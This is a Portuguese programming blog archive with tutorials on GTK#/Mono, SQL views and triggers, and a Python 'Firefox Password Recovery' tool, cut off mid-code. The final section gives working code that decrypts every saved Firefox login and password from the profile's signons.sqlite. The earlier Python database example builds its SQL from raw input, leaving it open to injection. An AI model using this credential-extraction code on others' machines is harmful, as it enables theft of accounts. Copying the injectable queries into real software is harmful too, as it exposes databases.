Arquivo de agosto, 2014

Mono – Linux Forms – GTK# – Linux

Publicado: 29 de agosto de 2014 em Linux

Na verdade o termo “Linux Forms” não existe é só uma boa chamada para o post fazendo alusão ao Windows Forms, o termo correto é Gtk# (g-t-k-sharp). O  Gtk# é um Toolkit de interface gráfica do usuário para Mono e .Net. O projeto Gtk# liga o GTK+ toolkit e bibliotecas variadas do GNOME, permitindo o desenvolvimento de aplicações gráficas GNOME totalmente nativas utilizando os frameworks de desenvolvimento Mono e o .NET.

O que é GTK+ ?

O GTK+, ou o GIMP Toolkit, é um conjunto de ferramentas multi-plataforma para criar interfaces gráficas de usuário. Oferecendo um conjunto completo de widgets, o GTK+ é adequado para vários tipos de projetos desde pequenas ferramentas até para suítes completas de aplicativos.

GTK: http://www.gtk.org/

Desenvolvendo com  o GTK#

Tenha em mente que o projeto nativo para criar aplicativos equivalentes ao Windows Forms para Linux é o Gtk# apesar do Mono também suportar projetos criados no Windows Forms. O Gtk# e Windows Forms não são iguais possuindo varias diferenças entre si, desde o modo para criar aplicações gráficas em Design Time, até nas instruções C# que manipulam seus Widgets.

Hello World GTK#

1 – Para criar um projeto visual Mono para Linux utilizando Gtk#, abra o Mono Develop e crie um projeto GTK#, assim que a solução e o projeto forem criados, clique na unidade de código C# chamada MainWindow.cs e clique no botão Design:

Gtk# - Forms

Gtk# – Forms

 

2 – Os componentes do GTK# ao contrario do Visual Studio (Windows Forms) não herdam a classe Point e não possuem a propriedade Location, então você precisa aloja-los dentro de Widgets do tipo Containers. Na janela de propriedades arraste um componente Vbox para o formulário:

Vbox

Vbox

3 – Na parte superior do Vbox, adicione um componente Menubar, na parte inferior adicione um componente Statusbar, adicione no meio um componente Table, crie os menus de modo similar ao Visual Studio e coloque um componente Label dentro do Statusbar, delete uma de suas colunas sobressalentes, dica, use o combobox da IDE quando precisar navegar pelos Widgets:

Menubar, Statusbar e Table

Menubar, Statusbar e Table

4 – Dentro das células da tabela coloque os componentes Labels, Entrys e Togglebutton, você pode adicionar ou apagar linhas e colunas na tabela clicando com o botão direito do mouse sobre ela e pode alinha-las utilizando a barra de tarefas do lado do combobox que mostra o componente com foco no qual você esta utilizando:

Layout - Widgets

Layout – Widgets

5 – Na janela de propriedades, clique na aba Signals que é equivalente aos eventos no Visual Studio, Clique no botão e expanda a opção Button Signals, dê um duplo clique na propriedade Clicked, um evento equivalente ao evento OnClick do Visual Studio será criado na sua unidade de código C#:

Signals - Eventos

Signals – Eventos

6 – Complete o código de sua unidade de código C# com o código encontrado logo abaixo, atente-se que criamos uma caixa de mensagem para o evento de clique do botão e apesar da sintaxe ser igual as instruções para realizar esta tarefa são diferentes, compile o código e teste o programa:

C#  - Linux

C# – Linux

Você verá que apesar das diferenças o  Mono funciona bem para Linux, é fácil e rápido desenvolver interfaces visuais de nível profissional. O Mono gera um arquivo executável com a extensão .exe para Linux, apesar da extensão não significar nada para o sistema operacional ainda assim é fácil para usuários leigos identificar programas executáveis para Linux.

Exemplo:

Neste exemplo criamos um aplicativo Mono utilizando o modelo de projeto Gtk#, você pode terminar o código implementando os eventos para os botões dos menus.

C#

using System;
using Gtk;

public partial class MainWindow: Gtk.Window
{
	public MainWindow () : base (Gtk.WindowType.Toplevel)
	{
		Build ();
	}

	protected void OnDeleteEvent (object sender, DeleteEventArgs a)
	{
		Application.Quit ();
		a.RetVal = true;
	}

	protected void OnTogglebutton1Clicked (object sender, EventArgs e)
	{

		// Cria uma caixa de menssagem (win forms = MessageBox)

                 String texto = "Nome: " + entry1.Text +
                                "\nSobrenome: " + entry2.Text +
                                "\nEndereço: " + entry3.Text;

	         // Cria dialogo
		MessageDialog dlg = new MessageDialog (null, DialogFlags.Modal, MessageType.Info, ButtonsType.Ok, texto);

		// chama dialogo
		dlg.Run ();

		// Destroi diaglogo
		dlg.Destroy();

		throw new NotImplementedException ();
	}
}

O .Net Framework da Microsoft é uma plataforma de software projetado para permitir que os desenvolvedores criem facilmente aplicações multi-plataforma, entretanto o suporte oficial da Microsoft limita-se ao sistema operacional Windows. Para que possamos portar aplicativos escritos em .Net Framework para outras plataformas além do Windows como, Linux, Mac OS X, iPhone OS, Oracle Solaris, FreeBSD e outros, precisamos utilizar a plataforma chamada Mono que é patrocinada pela empresa Xamarin. Podemos utilizar ainda uma IDE de desenvolvimento Open Source chamada MonoDevelop para criar programas em qualquer linguagem suportada pelo .Net Framework.

O que é Mono?

Mono é uma implementação open source do .NET Framework da Microsoft com base nos padrões ECMA para C# e Common Language Runtime. Uma família crescente de soluções e uma comunidade ativa e entusiasta que contribui e está ajudando o Mono a se posicionar como a principal escolha para o desenvolvimento de aplicações multi-plataforma.

Mono: http://www.mono-project.com/

O que é MonoDevelop?

É uma IDE multi-plataforma projetada principalmente para C# e outras linguagens .NET. O MonoDevelop permite aos desenvolvedores escrever rapidamente aplicações desktop e Web ASP.NET no Linux, Windows e Mac OSX. O MonoDevelop torna fácil aplicativos .NET que foram criados com o Visual Studio serem portados para Linux e Mac OSX mantendo uma única base de código para todas as plataformas.

MonoDevelop: http://monodevelop.com/

Instalando o Mono e o MonoDevelop

1- Para instalar o Mono no sistema operacional Linux podemos utilizar um PPA da Canonical para Ubuntu. Abra o terminal e digite os seguintes comandos:


sudo apt-get install software-properties-common
sudo add-apt-repository ppa:inizan-yannick/mono
sudo apt-get update
sudo apt-get install mono-devel

Mono -V para ver a versão

Mono -V para ver a versão

2 – Podemos instalar o MonoDevelop de um modo fácil pela GUI do Ubuntu, clicando no primeiro ícone do menu (pesquisa) e escrevendo a palavra “central”:

Pesquisa Ubuntu

Pesquisa Ubuntu

3 – Abra a Central de programas do Ubuntu e digite a palavra MonoDevelop, em seguida selecione o programa e clique em instalar:

Instalando o MonoDevelop

Instalando o MonoDevelop

4 – Após o termino da instalação abra o programa pelo ícone do Mono, que foi adicionado automaticamente ao menu e escolha criar uma Solução de Projeto Modo Texto, que é equivalente a um projeto de Console no Visual Studio:

Solução - Modo Texto

Solução – Modo Texto

5 – A Solução e o projeto serão criados contendo o código de um tradicional programa Hello World, modifique de acordo com o programa abaixo e rode a aplicação que será executada no terminal do Linux:

Programa C# - Linux

Programa C# – Linux

Agora você pode utilizar os programas da categoria C# e portar para a plataforma Linux ou MAC OSX, clique no link a seguir para saber mais sobre a portabilidade do .NET Framework para o Mono.

Portabilidade: http://www.mono-project.com/docs/getting-started/application-portability/

Exemplo:

Neste exemplo instalamos a plataforma Mono, instalamos a IDE MonoDeveloper e criamos um tradicional programa HelloWorld.

C#

using System;

namespace NetLinux
{
	class MainClass
	{
		public static void Main (string[] args)
		{
			Console.WriteLine ("Desenvolvimento Aberto!\n");
			Console.WriteLine ("Hello World Mono!");
		}
	}
}

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

Python - View/Trigger

Python – View/Trigger

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação Python o campo porcentagem se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post Python com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# View.py
 
# importa modulos
from Tkinter import *
import tkMessageBox
import cx_Oracle
import ibm_db
import odbc
 
# Cria formulario
formulario = Tk(className='Desenvolvimento aberto - View & Trigger')
formulario.geometry("470x390+300+300")
 
# Cria janela para menssagem
janela = Tk()
janela.wm_withdraw()
 
# Define banco de dados
# oracle = Oracle Database
# db2 = IBM DB2 Database
# mssql = Microsoft SQL Server
DBconexao = "oracle"
 
# Cria conexão com o banco de dados
def conectar(banco):
    # Cria string de conexão Oracle
    if (banco == "oracle"):
        sconexao = "user/pass@localhost/XE"
        try:
            con = cx_Oracle.connect(sconexao)
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "db2"):
        # Cria string de conexão IBM
        sconexao = "DATABASE=DEVA" +  \
                   ";HOSTNAME=localhost;PORT=50000;PROTOCOL=TCPIP;" + \
                   "UID=user;" + \
                   "PWD=pass"
        try:
            con = ibm_db.connect(sconexao, "", "")
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "mssql"):
        # Cria string de conexão MSSQL ODBC
        sconexao =  "MSSQLSERVER/user/pass"
        try:
            con = odbc.odbc(sconexao)
        except ValueError:
           tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    return con
 
# Executa e retorna cursor
def retornaFuncionarioID(sql, con, banco):
    if (banco == "oracle"):
        cursor = con.cursor()
        cursor.execute(sql)
    if (banco == "db2"):
        cursor = ibm_db.exec_immediate(con, sql)
    if (banco == "mssql"):
        cursor = con.cursor()
        cursor.execute(sql)
    return cursor
 
# Limpa campo
def limpar():
    tcodigo.delete(0, END)
    tpnome.delete(0, END)
    tsnome.delete(0, END)
    tcargo.delete(0, END)
    tsalario.delete(0, END)
    tporcentagem.delete(0, END)
 
# Evento do botão
def on_Pesquisar():
    # Exibe banco de dados
    titulo['text'] = "Database: " + DBconexao
 
    # Cria conexão
    con = conectar(DBconexao)
 
    # Define e executa SQL
    sql = "Select * From CadFuncionario Where  ID_FUNCIONARIO = " + tpesquisa.get()
    tabela = retornaFuncionarioID(sql, con, DBconexao)
 
    # Cria cursor
    if (DBconexao == "oracle"):
        dados = tabela.fetchone()
    if (DBconexao == "db2"):
        dados = ibm_db.fetch_tuple(tabela)
    if (DBconexao == "mssql"):
        dados = tabela.fetchone()
 
    # Exibe dados
    limpar()
    tcodigo.insert(0, str(dados[0]))
    tpnome.insert(0, dados[1])
    tsnome.insert(0, dados[2])
    tcargo.insert(0, dados[3])
    tsalario.insert(0, str(dados[4]))
    tporcentagem.insert(0, str(dados[5]))
 
# limpa widgets
def on_novo():
    limpar()
    tcodigo.focus()
 
# Insere dados
def on_inserir():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Insert into CadFuncionario Values (" + \
          tcodigo.get() + ", '" + \
          tpnome.get() + "', '" + \
          tsnome.get() + "', '" + \
          tcargo.get() + "', " + \
          str(tsalario.get()).replace(",",".") + ", " + \
          str(tporcentagem.get()).replace(",",".")+ ")"
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        tkMessageBox.showinfo(title="Menssagem", message="Dados inseridos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao inserir dados!", parent=janela)
 
# Altera dados
def on_alterar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()

    #
    # TODO: Criar Trigger - INSTEAD OF UPDATE
    #
 
    sql ="Update CadFuncionario set " + \
          "ID_FUNCIONARIO = " + tcodigo.get() + ", NOME= '" + \
          tpnome.get() + "', SOBRENOME= '" + \
          tsnome.get() + "', CARGO= '" + \
          tcargo.get() + "', SALARIO= " + \
          str(tsalario.get()).replace(",",".") + ", " +  \
          str(tporcentagem.get()).replace(",",".") + " Where ID_FUNCIONARIO=" + tcodigo.get()
 
    try:
 
       if (DBconexao != "db2"):
           cursor.execute(sql)
           con.commit()
       else:
           cursor = ibm_db.exec_immediate(con, sql)            
 
       tkMessageBox.showinfo(title="Menssagem", message="Dados alterados com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao alterar dados!", parent=janela)
 
# Exclui dados
def on_apagar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Delete From CadFuncionario Where ID_FUNCIONARIO = " + tcodigo.get()

    #
    # TODO: Criar Trigger - INSTEAD OF DELETE
    #
 
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        limpar()
        tkMessageBox.showinfo(title="Menssagem", message="Dados excluidos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao excluir dados!", parent=janela)
 
# Cria componentes widgets
titulo = Label(formulario, text="Database: Nenhum")
separador1 = Frame(height=2, bd=1, relief=SUNKEN)
separador2 = Frame(height=2, bd=1, relief=SUNKEN)

# labels
lcodigo = Label(formulario, text="Codigo:")
lpnome = Label(formulario, text="Nome:")
lsnome = Label(formulario, text="Sobrenome:")
lcargo = Label(formulario, text="Cargo:")
lsalario = Label(formulario, text="Salario:")
lporcentagem = Label(formulario, text="Porcentagem (%):")
 
# Entry
tcodigo = Entry(formulario)
tpnome = Entry(formulario)
tsnome = Entry(formulario)
tcargo = Entry(formulario)
tsalario = Entry(formulario)
tporcentagem = Entry(formulario)
 
# Pesquisa
lpesquisa = Label(formulario, text="Pesquisa:")
tpesquisa = Entry(formulario)
botao = Button(formulario, text = "Pesquisar", command=on_Pesquisar)
 
#Ações
painel = Frame()
bnovo = Button(painel, text="Novo", command=on_novo)
binserir = Button(painel, text="Inserir", command=on_inserir)
balterar = Button(painel, text="Alterar", command=on_alterar)
bapagar = Button(painel, text="Apagar", command=on_apagar)
 
# Define Layout
titulo.grid(row=0, sticky=W+E+N+S, pady=20)
separador1.grid(row=1,sticky=W+E+N+S, columnspan=3)

lcodigo.grid(row=3, sticky=W, padx=20)
tcodigo.grid(row=3, column=1, pady=5)
lpnome.grid(row=4,sticky=W, padx=20)
tpnome.grid(row=4, column=1, pady=5)
lsnome.grid(row=5,sticky=W, padx=20)
tsnome.grid(row=5, column=1, pady=5)
lcargo.grid(row=6, sticky=W, padx=20)
tcargo.grid(row=6, column=1, pady=5)
lsalario.grid(row=7, sticky=W, padx=20)
tsalario.grid(row=7, column=1, pady=5)
lporcentagem.grid(row=8, sticky=W, padx=20)
tporcentagem.grid(row=8, column=1, pady=5)
 
# Layout pesquisa
lpesquisa.grid(row=2, column=0, pady=20)
tpesquisa.grid(row=2, column=1, pady=20)
botao.grid(row=2, column=2,padx=10, pady=20)
 
# Loayout Ações
bnovo.grid(row =1, column=0, pady=10)
binserir.grid(row =1, column=1, pady=10)
balterar.grid(row =1, column=2, pady=10)
bapagar.grid(row =1, column=3, pady=10)
separador2.grid(row=9, sticky=W+E, columnspan=3, pady=10)
painel.grid(row=10, sticky=W+E, column=1, columnspan=1)
 
# loop do tcl
mainloop()

A Mozilla Foundation é uma fundação sem fins lucrativos que mantém todo o software e projetos Open Source da linha Mozilla, como Firefox, Thunderbird e complementos para os mesmo. Também é responsável por produzir documentação relacionada à internet e promover padrões de produção de conteúdo digital.

O Mozilla Firefox é um navegador livre e multi-plataforma desenvolvido pela Mozilla Foundation com ajuda de centenas de colaboradores. A intenção da fundação é desenvolver um navegador leve, seguro, intuitivo e altamente extensível.

Entre os navegadores mais utilizados da atualidade o Firefox é de longe o mais seguro, a empresa Mozilla desenvolveu um conjunto de bibliotecas de código aberto chamado de Serviços de Segurança de Rede, ou NSS, para fornecer aos desenvolvedores a capacidade de criar aplicativos que atendem a uma ampla variedade de padrões de segurança. O Firefox faz uso de uma API nesta biblioteca chamado Secret Decoder Ring, ou SDR, para facilitar a criptografia de credenciais da conta.

Estes valores são criptografados, e então, armazenados em um banco de dados SQLite chamado signons.sqlite codificado em base64. Tanto o signons.sqlite e key3.db fazem parte do contexto do usuário local. A chave SDR é guardada em um recipiente chamado de PKCS #11, que é um Token encapsulado dentro de um Slot do mesmo tipo.

Como Descriptografar as senhas do Firefox

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Firefox:

DA - Firefox Password Recovery - Linux

DA – Firefox Password Recovery – Linux

Requisitos

Linguagem:  Python.

Nivel: Difícil.

Modulos Externos Python: Download WxPython  ou use: aptget install pythonwxgtk2.8

Detalhes Sobre a Criptografia: Network Security Services 

Tipo de criptografia: PK11SDR_Encrypt

Detalhes Sobre o Armazenamento de credenciais Firefox: SQLLite

Local físico de armazenamento das credenciais:  ~/.mozilla/firefox

Nome do banco de dados: key3.db, signongs.sqlite, cert8.db

Multi-Plataforma

A linguagem de programação Python é multi-plataforma, então poderíamos supor que este programa funcionaria em Windows ou Mac sem nenhum problema correto?

Errado! Apesar de 99% deste programa ser multi-plataforma, 1% dele não é! Apenas uma linha de código! Justamente por este motivo preferimos criar este programa para uma versão Linux, para ressaltar que um desenvolvedor deve conhecer o sistema operacional no qual esta programando independente da linguagem ser multi-plataforma ou não, isto se deve aos diversos conceitos entre os sistemas operacionais.

Para Linux utilizamos um arquivo .SO (equivalente a um arquivo .dll para Windows ou um arquivo .dylib para Apple) chamado libnss3.so que é uma biblioteca de segurança (Network Security Service 3) já inclusa em muitas distribuições Linux. Para transportar este código para outra plataforma além do Linux, você pode usar o arquivo C disponível pela Mozilla que você encontra nos links acima ou utilizar a função PK11SDR_Decrypt em algum pacote de biblioteca no sistema operacional de sua preferencia.

Apple: Dynamic Library
Linux: Dynamic Library
Windows: Dynamic Library

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Linux, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/da-firefox-password-recovery/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Mozilla Firefox.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.0 - Betha
# DaFirefoxMain.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import sqlite3
import os
import getpass
import datetime
import platform
from ctypes import *
import glob
import re
import base64
import socket

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

 # Classes de estruturas de senha
class SECItem(Structure):
   _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]

class secuPWData(Structure):
   _fields_ = [('source',c_ubyte),('data',c_char_p)]

(SECWouldBlock, SECFailure, SECSuccess) = (-2, -1, 0)
(PW_NONE, PW_FROMFILE, PW_PLAINTEXT, PW_EXTERNAL) = (0, 1 ,2 ,3)

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuario (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Captura arquivos no contexto do usuario
def contexto_usuario():
   appdata = os.getenv('HOME')
   usersdir = appdata+os.sep+".mozilla"+os.sep+'firefox'
   userdir = os.listdir(usersdir)
   dirs=[]
   for u in userdir:
      if os.path.isdir(usersdir + os.sep + u):
         dirs.append(usersdir + os.sep + u)
   return dirs 

# Captura o banco de dados signons.sqlite requer Firefox 3 ou superior
def lesignonDB(userpath,dbname):
   chave.NSS_Init(userpath)
   # Recupera dados de login
   conn = sqlite3.connect(userpath+os.sep+dbname)
   c = conn.cursor()
   c.execute("SELECT * FROM moz_logins;")
   # Descriptografa dados usando PK11SDR_Decrypt
   for row in c:
      # Retorna nome de usuario aplicando base64
      unome.data  = cast(c_char_p(base64.b64decode(row[6])), c_void_p)
      unome.len   = len(base64.b64decode(row[6]))
      # Retorna senha de usuario aplicando base64
      passwd.data = cast(c_char_p(base64.b64decode(row[7])), c_void_p)
      passwd.len  = len(base64.b64decode(row[7]))
      # Descriptografa usuario  aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(unome), byref(dectexto), byref(passdados))
      usuario =  string_at(dectexto.data,dectexto.len)
      # Descriptografa senha aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(passwd), byref(dectexto), byref(passdados))
      senha   = string_at(dectexto.data, dectexto.len)
      captura = [row[1], usuario, senha]
      dados.append(captura)
   # Fecha conexões
   c.close()
   conn.close()
   chave.NSS_Shutdown()

# Repeura logins no contexto do usuario
abrirPass = contexto_usuario()

# Le SO externa
chave = CDLL("libnss3.so")

# Cria instancia da classe
passdados = secuPWData()
passdados.source = PW_NONE
passdados.data=0

# Cria instancia da estrutura de criptografia
unome = SECItem()
passwd = SECItem()
dectexto = SECItem()

# Retorna arquivos para desencriptar dados
for u in abrirPass:
   signonfiles = glob.glob(u + os.sep + "signons*.*")
   for s in signonfiles:
      (filepath,filename) = os.path.split(s)
      filetype = re.findall('\.(.*)',filename)[0]
      if filetype.lower() == "sqlite":
         lesignonDB(filepath, filename)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario
class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "DA - Firefox Password Recovery - Desenvolvimento Aberto - 2014", size=(860, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Centraliza tela
        self.Center()

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar", "Exportar para texto")
        menu.Append(5001, "Sai&r", "Fechar o programa")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Preenche barra de status
        self.SetStatusText("", 0)
        self.SetStatusText(socket.gethostname(), 1)
